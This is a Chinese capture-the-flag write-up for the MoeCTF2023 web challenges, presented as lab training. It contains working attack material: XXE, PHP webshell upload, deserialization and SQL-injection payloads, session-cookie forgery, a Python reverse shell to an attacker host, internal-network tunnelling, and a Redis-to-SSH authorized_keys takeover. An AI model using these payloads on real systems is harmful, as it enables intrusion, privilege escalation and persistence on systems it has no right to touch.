MoeCTF2023
文章目录
- MoeCTF2023_Web
- 入门指北
- http
- exp
- 彼岸的flag
- cookie
- Api
- exp
- gas!gas!gas!
- exp
- 大海捞针
- exp
- 了解你的座驾
- moe图床
- meo图床
- 夺命十三枪
- signin
- Source Code
- exp
- 出去旅游的心海
- moeworld
- 第一部分
- 第二部分
- 第三部分
MoeCTF2023_Web
入门指北
666c61673d6257396c5933526d6533637a62454e7662575666564739666257396c5131524758316379596c396a61474673624756755a3055684958303d
Hex解码:flag=bW9lY3Rme3czbENvbWVfVG9fbW9lQ1RGX1cyYl9jaGFsbGVuZ0UhIX0=bW9lY3Rme3czbENvbWVfVG9fbW9lQ1RGX1cyYl9jaGFsbGVuZ0UhIX0=
Base64解码:moectf{w3lCome_To_moeCTF_W2b_challengE!!}
http
exp
彼岸的flag
打开源代码
Ctrl+F
查找文本moectf{
cookie
Api
注册 POST /register
{"username":"koito","password":"123456"
}
登录 POST /login
{"username":"koito","password":"123456"
}
获取flag GET /flag
查询服务状态 GET /status
exp
1.直接访问flag GET /flag
,需要注册登录
2.注册
3.登录
发现token=eyJ1c2VybmFtZSI6ICJ0ZXN0IiwgInBhc3N3b3JkIjogIjEyMzQ1NiIsICJyb2xlIjogInVzZXIifQ==
为Base64编码
eyJ1c2VybmFtZSI6ICJ0ZXN0IiwgInBhc3N3b3JkIjogIjEyMzQ1NiIsICJyb2xlIjogInVzZXIifQ==
Base64解码:{"username": "test", "password": "123456", "role": "user"}
4.用注册用户访问flag GET /flag
发现需要admin权限
修改role为admin
{"username": "test", "password": "123456", "role": "admin"}
Base64编码:eyJ1c2VybmFtZSI6ICJ0ZXN0IiwgInBhc3N3b3JkIjogIjEyMzQ1NiIsICJyb2xlIjogImFkbWluIn0=
gas!gas!gas!
exp
1.观察Request,Response
- Post参数driver,steering_control,throttle进行控制
- 根据规则与Response,控制driver,steering_control,throttle
- 当次Respnse中的session作为下一次Request的session,保持会话状态
2.编写脚本
import requests
import re
def find_flag(text):pattern = r'moectf\{(.+?)\}'matches = re.findall(pattern, text)flag="moectf{"+matches[0]+"}"return flagurl="http://localhost:11476/"
driver="1"
steering_control="0"#直行
throttle="2"#全开
payload = {"driver": driver,"steering_control": steering_control,"throttle": throttle
}response = requests.post(url, data=payload)while 1:if "moectf{" in response.text:print(find_flag(response.text))break#当次Respnse中的session作为下一次Request的session,保持会话状态session = response.cookies.get('session')cookies = {" session": session}if "弯道向左" in response.text:steering_control="1"#右elif "弯道向右" in response.text:steering_control="-1"#左else:steering_control="0"#直行if "抓地力太大了!" in response.text:throttle="2"#全开elif "抓地力太小了!" in response.text:throttle="0"#松开else:throttle="1"#保持payload = {"driver": driver,"steering_control": steering_control,"throttle": throttle}response = requests.post(url, data=payload,cookies=cookies)
大海捞针
exp
- 遍历/?id=<1-1000>,搜索Response
moectf{
import requests
import redef find_flag(text):pattern = r'moectf\{(.+?)\}'matches = re.findall(pattern, text)flag="moectf{"+matches[0]+"}"return flagurl = "http://101.42.178.83:7770/?id={}"
# 945
for i in range(1000, 0,-1):new_url = url.format(i)print(new_url)respone = requests.get(new_url)if "moectf{" in respone.text:print(find_flag(respone.text))break
了解你的座驾
1.抓包发现xml_content
根据xml的进行页面切换
%3Cxml%3E%3Cname%3EXDU+moeCTF+Flag%3C%2Fname%3E%3C%2Fxml%3E
URL解码:<xml><name>XDU+moeCTF+Flag</name></xml>
2.利用XEE漏洞(“XML External Entity” (XML 外部实体)漏洞)
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe[ <!ELEMENT test ANY ><!ENTITY xxe SYSTEM "file:///flag" >]>
<xml><name>&xxe;</name></xml>
URL解码:
%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22utf-8%22%3F%3E%20%09%0A%3C!DOCTYPE%20xxe%5B%20%3C!ELEMENT%20test%20ANY%20%3E%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fflag%22%20%3E%5D%3E%0A%3Cxml%3E%3Cname%3E%26xxe%3B%3C%2Fname%3E%3C%2Fxml%3E
moe图床
1.前后端均有后缀检测,.png绕过前端,.png.php
绕过后端
2.访问/uploads/hack.png.php,php代码执行成功
3.Post传参shell=system(“系统命令”);调用系统命令获取flag
meo图床
1.上传任意符合格式图片后,访问上传页面发现name参数,修改name,报错发现file_get_contents()
2.利用../../../flag
访问根目录文件,发现Fl3g_n0t_Here_dont_peek!!!!!.php
3.访问Fl3g_n0t_Here_dont_peek!!!!!.php
<?phphighlight_file(__FILE__);if (isset($_GET['param1']) && isset($_GET['param2'])) {$param1 = $_GET['param1'];$param2 = $_GET['param2'];if ($param1 !== $param2) {$md5Param1 = md5($param1);$md5Param2 = md5($param2);if ($md5Param1 == $md5Param2) {echo "O.O!! " . getenv("FLAG");} else {echo "O.o??";}} else {echo "o.O?";}
} else {echo "O.o?";
}?>
md5碰撞
param1=
M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
¶m2=
M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
夺命十三枪
1.访问/
、/Hanxin.exe.php
得到php源代码
<?php
highlight_file(__FILE__);require_once('Hanxin.exe.php');$Chant = isset($_GET['chant']) ? $_GET['chant'] : '夺命ĺ三枪';$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);$before = serialize($new_visitor);
$after = Deadly_Thirteen_Spears::Make_a_Move($before);
echo 'Your Movements: ' . $after . '<br>';try{echo unserialize($after);
}catch (Exception $e) {echo "Even Caused A Glitch...";
}
?>
<?phpif (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {highlight_file(__FILE__);
}class Deadly_Thirteen_Spears{private static $Top_Secret_Long_Spear_Techniques_Manual = array("di_yi_qiang" => "Lovesickness","di_er_qiang" => "Heartbreak","di_san_qiang" => "Blind_Dragon","di_si_qiang" => "Romantic_charm","di_wu_qiang" => "Peerless","di_liu_qiang" => "White_Dragon","di_qi_qiang" => "Penetrating_Gaze","di_ba_qiang" => "Kunpeng","di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts","di_shi_qiang" => "Overlord","di_shi_yi_qiang" => "Letting_Go","di_shi_er_qiang" => "Decisive_Victory","di_shi_san_qiang" => "Unrepentant_Lethality");public static function Make_a_Move($move){foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){$move = str_replace($index, $movement, $move);}return $move;}
}class Omg_It_Is_So_Cool_Bring_Me_My_Flag{public $Chant = '';public $Spear_Owner = 'Nobody';function __construct($chant){$this->Chant = $chant;$this->Spear_Owner = 'Nobody';}function __toString(){if($this->Spear_Owner !== 'MaoLei'){return 'Far away from COOL...';}else{return "Omg You're So COOOOOL!!! " . getenv('FLAG');}}
}?>
- 构造
$after(s:11:"Spear_Owner";s:6:"MaoLei";)
在echo unserialize($after);
触发__toString()获取flag
- 利用
Deadly_Thirteen_Spears::Make_a_Move()
字符数增加关系闭合Chant
字符数变化(strlen($index)-strlen($movement))
di_yi_qiang -1
di_er_qiang 1
di_san_qiang 0
di_si_qiang -3
di_wu_qiang 3
di_liu_qiang 0
di_qi_qiang -5
di_ba_qiang 4
di_jiu_qiang -20
di_shi_qiang 4
di_shi_yi_qiang 5
di_shi_er_qiang -1
di_shi_san_qiang -5
";s:11:"Spear_Owner";s:6:"MaoLei";}
需要35字符di_jiu_qiangdi_qi_qiangdi_qi_qiangdi_yi_qiangdi_yi_qiangdi_si_qiang
20+5+5+1+1+3=35字符
构造$after="O:34:"Omg_It_Is_So_Cool_Bring_Me_My_Flag":2:{s:5:"Chant";s:102:"Night_Parade_of_a_Hundred_GhostsPenetrating_GazePenetrating_GazeLovesicknessLovesicknessRomantic_charm";s:11:"Spear_Owner";s:6:"MaoLei";}";s:11:"Spear_Owner";s:6:"Nobody";}"
payload:
?chant=di_jiu_qiangdi_qi_qiangdi_qi_qiangdi_yi_qiangdi_yi_qiangdi_si_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}
signin
Source Code
from secrets import users, salt
import hashlib
import base64
import json
import http.serverwith open("flag.txt","r") as f:FLAG = f.read().strip()def gethash(*items):c = 0for item in items:if item is None:continuec ^= int.from_bytes(hashlib.md5(f"{salt}[{item}]{salt}".encode()).digest(), "big") # it looks so complex! but is it safe enough?return hex(c)[2:]assert "admin" in users
assert users["admin"] == "admin"hashed_users = dict((k,gethash(k,v)) for k,v in users.items())eval(int.to_bytes(0x636d616f686e69656e61697563206e6965756e63696165756e6320696175636e206975616e6363616361766573206164^8651845801355794822748761274382990563137388564728777614331389574821794036657729487047095090696384065814967726980153,160,"big",signed=True).decode().translate({ord(c):None for c in "\x00"})) # what is it?def decrypt(data:str):for x in range(5):data = base64.b64encode(data).decode() # ummm...? It looks like it's just base64 encoding it 5 times? truely?return data__page__ = base64.b64encode("PCFET0NUWVBFIGh0bWw+CjxodG1sPgo8aGVhZD4KICAgIDx0aXRsZT5zaWduaW48L3RpdGxlPgogICAgPHNjcmlwdD4KICAgICAgICBbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoK3t9K1tdKVsrISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXVtbXV0rW10pWytbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoW10rW11bKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyghIVtdK1tdKVsrISFbXV0rKCEhW10rW10pWytbXV1dWyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoW10re30pWyshIVtdXSsoW11bW11dK1tdKVsrISFbXV0rKCFbXStbXSlbIStbXSshIVtdKyEhW11dKyghIVtdK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbK1tdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXV0oKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKFtdW1tdXStbXSlbK1tdXSsoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKygre30rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKVshK1tdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKShbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdW1tdXStbXSlbIStbXSshIVtdKyEhW11dKyghW10rW10pWyErW10rISFbXSshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyhbXStbXVsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKCEhW10rW10pWyshIVtdXSsoISFbXStbXSlbK1tdXV1bKFtdK3t9KVshK1tdKyEhW10rISFbXSshIVtdKyEhW11dKyhbXSt7fSlbKyEhW11dKyhbXVtbXV0rW10pWyshIVtdXSsoIVtdK1tdKVshK1tdKyEhW10rISFbXV0rKCEhW10rW10pWytbXV0rKCEhW10rW10pWyshIVtdXSsoW11bW11dK1tdKVsrW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW10re30pWyshIVtdXSsoISFbXStbXSlbKyEhW11dXSgoISFbXStbXSlbKyEhW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdXSsoISFbXStbXSlbK1tdXSsoW11bW11dK1tdKVsrW11dKyghIVtdK1tdKVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKCFbXStbXSlbIStbXSshIVtdXSsoW10re30pWyshIVtdXSsoW10re30pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKCt7fStbXSlbKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXVtbXV0rW10pWyErW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVsrISFbXV0rKFtdW1tdXStbXSlbKyEhW11dKSghK1tdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXSkpWyErW10rISFbXSshIVtdXSsoW11bW11dK1tdKVshK1tdKyEhW10rISFbXV0pKCErW10rISFbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10pKChbXSt7fSlbK1tdXSlbK1tdXSsoIStbXSshIVtdKyEhW10rW10pKyhbXVtbXV0rW10pWyErW10rISFbXV0pKyhbXSt7fSlbIStbXSshIVtdKyEhW10rISFbXSshIVtdKyEhW10rISFbXV0rKFtdK3t9KVshK1tdKyEhW11dKyghIVtdK1tdKVsrW11dKyhbXSt7fSlbKyEhW11dKygre30rW10pWyshIVtdXSkoIStbXSshIVtdKyEhW10rISFbXSkKICAgICAgICB2YXIgXzB4ZGI1ND1bJ3N0cmluZ2lmeScsJ2xvZycsJ3Bhc3N3b3JkJywnL2xvZ2luJywnUE9TVCcsJ2dldEVsZW1lbnRCeUlkJywndGhlbiddO3ZhciBfMHg0ZTVhPWZ1bmN0aW9uKF8weGRiNTRmYSxfMHg0ZTVhOTQpe18weGRiNTRmYT1fMHhkYjU0ZmEtMHgwO3ZhciBfMHg0ZDhhNDQ9XzB4ZGI1NFtfMHhkYjU0ZmFdO3JldHVybiBfMHg0ZDhhNDQ7fTt3aW5kb3dbJ2FwaV9iYXNlJ109Jyc7ZnVuY3Rpb24gbG9naW4oKXtjb25zb2xlW18weDRlNWEoJzB4MScpXSgnbG9naW4nKTt2YXIgXzB4NWYyYmViPWRvY3VtZW50W18weDRlNWEoJzB4NScpXSgndXNlcm5hbWUnKVsndmFsdWUnXTt2YXIgXzB4NGZkMjI2PWRvY3VtZW50W18weDRlNWEoJzB4NScpXShfMHg0ZTVhKCcweDInKSlbJ3ZhbHVlJ107dmFyIF8weDFjNjFkOT1KU09OW18weDRlNWEoJzB4MCcpXSh7J3VzZXJuYW1lJzpfMHg1ZjJiZWIsJ3Bhc3N3b3JkJzpfMHg0ZmQyMjZ9KTt2YXIgXzB4MTBiOThlPXsncGFyYW1zJzphdG9iKGF0b2IoYXRvYihhdG9iKGF0b2IoXzB4MWM2MWQ5KSkpKSl9O2ZldGNoKHdpbmRvd1snYXBpX2Jhc2UnXStfMHg0ZTVhKCcweDMnKSx7J21ldGhvZCc6XzB4NGU1YSgnMHg0JyksJ2JvZHknOkpTT05bXzB4NGU1YSgnMHgwJyldKF8weDEwYjk4ZSl9KVtfMHg0ZTVhKCcweDYnKV0oZnVuY3Rpb24oXzB4Mjk5ZDRkKXtjb25zb2xlW18weDRlNWEoJzB4MScpXShfMHgyOTlkNGQpO30pO30KICAgIDwvc2NyaXB0Pgo8L2hlYWQ+Cjxib2R5PgogICAgPGgxPmV6U2lnbmluPC9oMT4KICAgIDxwPlNpZ24gaW4gdG8geW91ciBhY2NvdW50PC9wPgogICAgPHA+ZGVmYXVsdCB1c2VybmFtZSBhbmQgcGFzc3dvcmQgaXMgYWRtaW4gYWRtaW48L3A+CiAgICA8cD5Hb29kIEx1Y2shPC9wPgoKICAgIDxwPgogICAgICAgIHVzZXJuYW1lIDxpbnB1dCBpZD0idXNlcm5hbWUiPgogICAgPC9wPgogICAgPHA+CiAgICAgICAgcGFzc3dvcmQgPGlucHV0IGlkPSJwYXNzd29yZCIgdHlwZT0icGFzc3dvcmQiPgogICAgPC9wPgogICAgPGJ1dHRvbiBpZCA9ICJsb2dpbiI+CiAgICAgICAgTG9naW4KICAgIDwvYnV0dG9uPgo8L2JvZHk+CjxzY3JpcHQ+CiAgICBjb25zb2xlLmxvZygiaGVsbG8/IikKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJsb2dpbiIpLmFkZEV2ZW50TGlzdGVuZXIoImNsaWNrIiwgbG9naW4pOwo8L3NjcmlwdD4KPC9odG1sPg==")class MyHandler(http.server.BaseHTTPRequestHandler):def do_GET(self):try:if self.path == "/":self.send_response(200)self.end_headers()self.wfile.write(__page__)else:self.send_response(404)self.end_headers()self.wfile.write(b"404 Not Found")except Exception as e:print(e)self.send_response(500)self.end_headers()self.wfile.write(b"500 Internal Server Error")def do_POST(self):try:if self.path == "/login":body = self.rfile.read(int(self.headers.get("Content-Length")))payload = json.loads(body)params = json.loads(decrypt(payload["params"]))print(params)if params.get("username") == "admin":self.send_response(403)self.end_headers()self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!")print("admin")returnif params.get("username") == params.get("password"):self.send_response(403)self.end_headers()self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!")print("same")returnhashed = gethash(params.get("username"),params.get("password"))for k,v in hashed_users.items():if hashed == v:data = {"user":k,"hash":hashed,"flag": FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}"}self.send_response(200)self.end_headers()self.wfile.write(json.dumps(data).encode())print("success")returnself.send_response(403)self.end_headers()self.wfile.write(b"Invalid username or password")else:self.send_response(404)self.end_headers()self.wfile.write(b"404 Not Found")except Exception as e:print(e)self.send_response(500)self.end_headers()self.wfile.write(b"500 Internal Server Error")if __name__ == "__main__":server = http.server.HTTPServer(("", 9999), MyHandler)server.serve_forever()
exp
格式化绕过
原理:数字1和字符串’1’格式化的结果相同
{"username":"1","password":1}
五次base64编码:
VjJ4b2MxTXdNVmhVV0d4WFltMTRjRmxzVm1GTlJtUnpWR3R3VDJFeWVIaFZiR1J6VkZaRmQyTkVUbGhXYldoUVdsY3hVbVZWT1ZsaVIwWlNUVWR6ZVZaR1dtNWtNVUpTVUZRd1BRPT0=
出去旅游的心海
加载/wordpress发现网络资源logger.php
打开logger.php(/wordpress/wp-content/plugins/visitor-logging/logger.php),发现存在sql注入 注入点为参数time
<?php
/*
Plugin Name: Visitor auto recorder
Description: Automatically record visitor's identification, still in development, do not use in industry environment!
Author: KoKoMiStill in development! :)
*/// 不许偷看!这些代码我还在调试呢!
highlight_file(__FILE__);// 加载数据库配置,暂时用硬编码绝对路径
require_once('/var/www/html/wordpress/' . 'wp-config.php');$db_user = DB_USER; // 数据库用户名
$db_password = DB_PASSWORD; // 数据库密码
$db_name = DB_NAME; // 数据库名称
$db_host = DB_HOST; // 数据库主机// 我记得可以用wp提供的global $wpdb来操作数据库,等旅游回来再研究一下
// 这些是临时的代码$ip = $_POST['ip'];
$user_agent = $_POST['user_agent'];
$time = stripslashes($_POST['time']);$mysqli = new mysqli($db_host, $db_user, $db_password, $db_name);// 检查连接是否成功
if ($mysqli->connect_errno) {echo '数据库连接失败: ' . $mysqli->connect_error;exit();
}$query = "INSERT INTO visitor_records (ip, user_agent, time) VALUES ('$ip', '$user_agent', $time)";// 执行插入
$result = mysqli_query($mysqli, $query);// 检查插入是否成功
if ($result) {echo '数据插入成功';
} else {echo '数据插入失败: ' . mysqli_error($mysqli);
}// 关闭数据库连接
mysqli_close($mysqli);//gpt真好用
bp抓包,请求方式改为POST
payload.txt:
POST /wordpress/wp-content/plugins/visitor-logging/logger.php HTTP/1.1
Host: 101.42.178.83:7770
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 8time=1
sqlmap注入
命令:python sqlmap.py -r “.\payload.txt” -p time --dbs
发现数据库wordpress
命令:python sqlmap.py “.\payload.txt” -p time -D wordpress -tables
查看数据库wordpress下的所有表
表secret_of_kokomi疑似flag所在
命令:python sqlmap.py -r “.\payload.txt” -p time -D wordpress -T secret_of_kokomi --columns
查看表secret_of_kokomi下的所有字段
命令:python sqlmap.py -r “.\payload.txt” -p time -D wordpress -T secret_of_kokomi -C “content” --dump
查看字段content的内容
moeworld
第一部分
是个登录页面
注册登录发现hint
该账号cookie:session=eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6InRlc3QifQ.ZSPfTg.XSjrNN4YEJn1ewRVGAHLyArmTkc
Base64解码:
根据hint与键”power“、”user“爆破出secret_key,使用{‘power’: ‘admin’, ‘user’: ‘admin’}以root权限登录
import zlib
from itsdangerous import base64_decode
import ast
import os
from flask.sessions import SecureCookieSessionInterfaceclass MockApp(object):def __init__(self, secret_key):self.secret_key = secret_keyclass FSCM:def encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)@staticmethoddef decode(session_cookie_value, secret_key=None):try:if secret_key is None:compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)if __name__ == "__main__":while True:cookie_value = 'eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6InRlc3QifQ.ZSPfTg.XSjrNN4YEJn1ewRVGAHLyArmTkc'secret_key = "This-random-secretKey-you-can't-get" + os.urandom(2).hex()if secret_key:result = FSCM.decode(cookie_value, secret_key)else:result = FSCM.decode(cookie_value)if 'power' and 'user' in result:print(result, secret_key)# {'power': 'guest', 'user': 'test'} This-random-secretKey-you-can't-gete47cprint(FSCM.encode(secret_key, "{'power': 'admin', 'user': 'admin'}"))# eyJwb3dlciI6ImFkbWluIiwidXNlciI6ImFkbWluIn0.ZSPj4Q.O3zHf72gAmGNfgqC5eYYJ3MM_1Ybreak
发现新hint
访问/console用所给pin码223-317-007登录
反弹shell命令:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“攻击机ip”,端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,“-i”]);
攻击机监听端口命令:
netcat -lvvp 端口
获取第一部分flag
第二部分
从readme得到新hint
cat /etc/hosts查看主机与ip映射关系
发现两个Docker的ip:172.20.0.4、172.21.0.2 猜测子关掩码为16
B类地址:IP地址范围在128.0.0.0到191.255.255.255之间
用fscan扫描172.20.0.4/16、172.21.0.2/16两个网段与本机开放端口
发现172.21.0.0/16为外网 172.20.0.0/16为内网
根据hint规定,得到压缩包hint.zip的密码为22-3306-6379-8080
(由于本地搭的环境web端口改成11000,所以本机扫出来的端口是11000)
解压hint.zip获得新hint
利用frpc、proxychains搭建隧道代理
攻击机配置服务端
frps.ini:
[common]
bind_addr=0.0.0.0
bind_port = 7000
执行命令:frps -c frps.ini
靶机配置客户端
执行命令:printf “[common]\nserver_addr = 192.168.24.132\nserver_port = 7000\n[plugin_socks5]\ntype = tcp\nremote_port = 7777\nplugin = socks5\n” > frpc1.ini
连接命令:frpc -c frpc1.ini
连接成功如下:
proxychains4设置代理端口:socks5 127.0.0.1 7777
在/app/datasql.py中发现数据库root密码:root
连接172.20.0.3数据库获取第二部分flag
第三部分
直接连接172.20.0.2redis发现未授权访问
根据还开放的22端口,Redis密钥登录ssh
参考文章
设置redis密码:config set requirepass 密码
1.生成shh-rsa公钥密钥:ssh-keygen -t rsa
2.导出公钥id_rsa.pub(\n\n是为了防止乱码):
(echo -e “\n\n”; cat /root/.ssh/id_rsa.pub; echo -e “\n\n”) > key.txt3.将生成的公钥写入redis服务器的内存之中:
cat key.txt |proxychains4 redis-cli -h 172.20.0.2 -a root -x set ssh_key
4.查看ssh_key是否导入:KEYS *
5.将ssh_key保存进 SSH 公钥认证的授权密钥列表/root/.ssh/authorized_keys:
config set dir /root/.ssh
config set dbfilename authorized_keys
save
用私钥id_rsa来ssh连接,获取第三部分flag
更多推荐
MoeCTF2023
发布评论